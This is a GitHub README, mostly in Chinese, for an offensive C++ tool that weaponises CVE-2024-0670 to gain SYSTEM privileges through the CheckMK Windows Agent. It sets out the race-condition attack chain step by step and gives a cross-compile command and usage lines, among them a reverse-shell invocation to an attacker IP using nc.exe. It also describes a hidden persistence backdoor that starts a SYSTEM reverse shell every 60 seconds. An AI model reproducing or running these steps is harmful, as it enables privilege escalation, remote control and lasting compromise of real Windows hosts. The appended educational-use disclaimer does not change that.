fsoc-ghost-0x/Fsociety-CVE-2024-0670-CheckMK-LPE

GitHub: fsoc-ghost-0x/Fsociety-CVE-2024-0670-CheckMK-LPE

针对 CheckMK Windows Agent 的 CVE-2024-0670 本地权限提升漏洞利用工具,利用临时文件处理缺陷实现 SYSTEM 权限获取。

Stars: 1 | Forks: 0

Fsociety Banner

# Fsociety-CVE-2024-0670-CheckMK-LPE **原生 C++ 武器 | CheckMK Agent 本地权限提升**
作者: C0deGhost | 版本: 14.0 (稳定版) | MITRE T1068
![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg?style=for-the-badge) ![Language](https://img.shields.io/badge/Language-C++-red.svg?style=for-the-badge&logo=cplusplus) ![Vulnerability](https://img.shields.io/badge/Vulnerability-CVE--2024--0670-critical.svg?style=for-the-badge) ![Platform](https://img.shields.io/badge/Platform-Windows-cyan.svg?style=for-the-badge&logo=windows) ![Status](https://img.shields.io/badge/Version-14.0_Stable-green.svg?style=for-the-badge)
点击查看 Fsociety 目录 - [▌ 0x01_ANALYSIS_&_VULNERABILITY_REPORT](#-0x01_analysis__vulnerability_report) - [▌ 0x02_MITRE_ATT&CK_MAPPING](#-0x02_mitre_attck_mapping) - [▌ 0x03_FEATURES_&_ARSENAL](#-0x03_features__arsenal) - [▌ 0x04_USAGE_&_EXECUTION](#-0x04_usage__execution) - [▌ 0x05_EXECUTION_&_EVIDENCES](#-0x05_execution__evidences) - [▌ 0x06_FRAMEWORK_OPTIONS](#-0x06_framework_options) - [▌ 0x07_LEGAL_DISCLAIMER](#-0x07_legal_disclaimer)

## ▌ 0x01_分析_&_漏洞报告
点击展开 Fsociety 情报报告... ### 执行摘要 该框架武器化了 **CVE-2024-0670**,这是 CheckMK Agent for Windows 中的一个严重逻辑缺陷。该漏洞存在于 Agent 的插件执行机制中,具体在于它如何处理 C:\Windows\Temp 中的临时文件。 `Fsociety-CVE-2024-0670` 漏洞利用程序利用“Fail-Open”条件结合 Race Condition,诱骗 `NT AUTHORITY\SYSTEM` 服务执行由低权限攻击者提供的任意代码。 ### 技术深究 CheckMK Agent(以 SYSTEM 权限运行)遵循可预测的命名约定生成临时包装脚本:cmk_all_{PID}_{Counter}.cmd。它尝试将这些文件写入全局可写的 C:\Windows\Temp 目录,然后执行它们。 **缺陷 (Fail-Open):** 如果 Agent 遇到文件冲突(例如,文件已存在且为只读),写入操作将失败。然而,Agent 并没有中止。相反,它继续执行现有文件,假设该文件是由它自己成功创建的。 **攻击链 (精准):** 1. 侦察: 通过注册表 (Installer UserData) 识别安装路径。 2. 播种: 预先创建数千个恶意 .cmd 文件,覆盖下一次 Agent 执行的可能 PID 范围。 3. 锁定: 使用原生 WinAPI 对植入的文件应用 FILE_ATTRIBUTE_READONLY 以触发写入失败。 4. 触发: 通过 msiexec /fa (修复模式) 强制服务重启。 5. 执行: Agent 唤醒,无法覆盖我们的陷阱,并以 SYSTEM 权限执行我们的 payload。

We are the bug in the system.

## ▌ 0x02_MITRE_ATT&CK_映射 - **战术:** 权限提升 - **技术:** 利用漏洞进行权限提升
### 攻击流可视化 ``` graph TD; A["Attacker (Low Priv)"] --> B{Seeding Phase}; B --> C[Create Malicious .cmd Files]; C --> D[Set ReadOnly Attribute]; D --> E{Trigger Phase}; E --> F[Invoke msiexec /fa]; F --> G[CheckMK Service Restarts]; G --> H{Write Attempt}; H -- "Fails (Access Denied)" --> I["Fail-Open Logic"]; I --> J[Execute Existing File]; J --> K["SYSTEM Shell"]; %% Estilos Fsociety style A fill:#222,stroke:#ff0000,stroke-width:2px,color:#ff0000 style I fill:#222,stroke:#ffff00,stroke-width:2px,color:#ffff00 style K fill:#222,stroke:#ff0000,stroke-width:4px,color:#ff0000 ```
## ▌ 0x03_功能_&_工具库 - **⚡ 原生 C++ 架构:** 使用 WinAPI 以纯 C++ 编写。目标机器上无需外部依赖。快速、隐蔽且轻量。 - **🎭 交互式 Shell 模式:** 提供伪 Shell 环境 (`--Shell-mode`),允许作为 SYSTEM 重复执行命令,而无需重新运行漏洞利用程序。 - **💀 持久化模块:** 内置 `Install-persistence` 命令。在 `C:\ProgramData` 中部署一个隐藏的、自愈的后门,以 SYSTEM 权限执行。 - **🧠 智能注册表检测:** 自动在 `Installer\UserData` 中搜寻 CheckMK MSI 路径以触发修复,绕过标准混淆。 - **🛡️ 精准详细日志:** 用于红队调试和取证分析的详细操作日志。

Give a man a gun and he'll rob a bank. Give a man knowledge and he'll rob the world.

## ▌ 0x04_使用_&_执行
点击查看 Fsociety 操作指南... ### 1. 编译 (从 Linux 交叉编译) 使用 MinGW-w64 构建静态二进制文件。 ``` x86_64-w64-mingw32-g++ Fsociety-CVE-2024-0670.cpp -o Fsociety-CVE-2024-0670.exe -static -lws2_32 ``` ### 2. 部署 将 `Fsociety-CVE-2024-0670.exe` 和 `nc.exe` 传输到目标机器(例如 `C:\Windows\Temp`)。 ### 3. 执行模式 **模式 A: 交互式 Shell (推荐)** ``` .\Fsociety-CVE-2024-0670.exe --Shell-mode ``` **模式 B: 直接反向 Shell (单次执行)** ``` .\Fsociety-CVE-2024-0670.exe --LHOST 10.10.16.2 --LPORT 4444 --Directory-netcat C:\Windows\Temp\nc.exe ```

## ▌ 0x05_执行_&_证据
点击展开概念验证图库... ### 1. 界面 (帮助菜单) 具有居中参数和 Fsociety 美学的专业 CLI。

Help Menu

### 2. 交互式 Shell 模式 进入 `Exploit-Shell` 环境。框架在后台为每条命令处理 Race Condition。

Shell Mode

### 3. 命令执行 (SYSTEM) 执行 `whoami` 并通过漏洞利用验证 `nt authority\system` 权限。

Command Execution

### 4. 持久化模块安装 使用内部 `Install-persistence` 命令部署永久后门。

Persistence Install

Evidence #2

Persistence Install

### 5. 反向 Shell 连接 在攻击者机器上获取 SYSTEM Shell。

Reverse Shell

Evidence #2

Persistence Install

### 6. 精准详细日志模式 实时分析播种过程和触发执行。

Verbose Mode


## ▌ 0x06_Framework_选项
点击查看完整命令行界面...
### 1. 全局参数 | Flag | 描述 | | :--- | :--- | | --help | 显示帮助菜单和 Banner。 | | --Shell-mode | 进入交互式伪 Shell 循环。启用内部命令。 | | --Command <CMD> | 作为 SYSTEM 执行单条命令并退出 (非交互)。 | | --LHOST <IP> | 攻击者 IP 地址 (反向 Shell 必需)。 | | --LPORT <PORT> | 攻击者端口 (反向 Shell 必需)。 | | --Directory-netcat | 目标机器上 `nc.exe` 的路径。默认: `C:\Windows\Temp\nc.exe`。 | | --Verbose | 启用精准日志记录 (文件创建、API 调用、注册表扫描)。 |
### 2. Shell-Mode 内部命令 仅在 `--Shell-mode` 提示符内可用。 | 命令 | 描述 | | :--- | :--- | | Install-persistence | 在 `C:\ProgramData` 中部署隐藏的 `.bat` 文件,每 60 秒作为 SYSTEM 执行一次反向 Shell。 | | Eliminate-persistence | 精准移除后门文件并终止相关进程以清理痕迹。 | | <Any Command> | 执行标准 Windows 命令 (如 `whoami`, `ipconfig`, `type flag.txt`)。 |

## ▌ 0x07_法律免责声明 本工具仅用于教育目的、安全研究和授权的渗透测试任务。作者 和 Fsociety 不对因使用本程序而造成的任何误用或损害负责。请道德且负责任地使用本工具。
Control is an illusion.

WE ARE FSOCIETY. WE ARE FINALLY FREE. WE ARE FINALLY AWAKE.

标签:C++, CheckMK, CVE, CVE-2024-0670, DNS 反向解析, Exploit, Gophish, Insecure File Handling, LPE, SYSTEM权限, Web报告查看器, 后门, 攻击框架, 数字签名, 数据擦除, 文件处理不当, 本地攻击, 本地权限提升, 系统提权, 网络安全, 隐私保护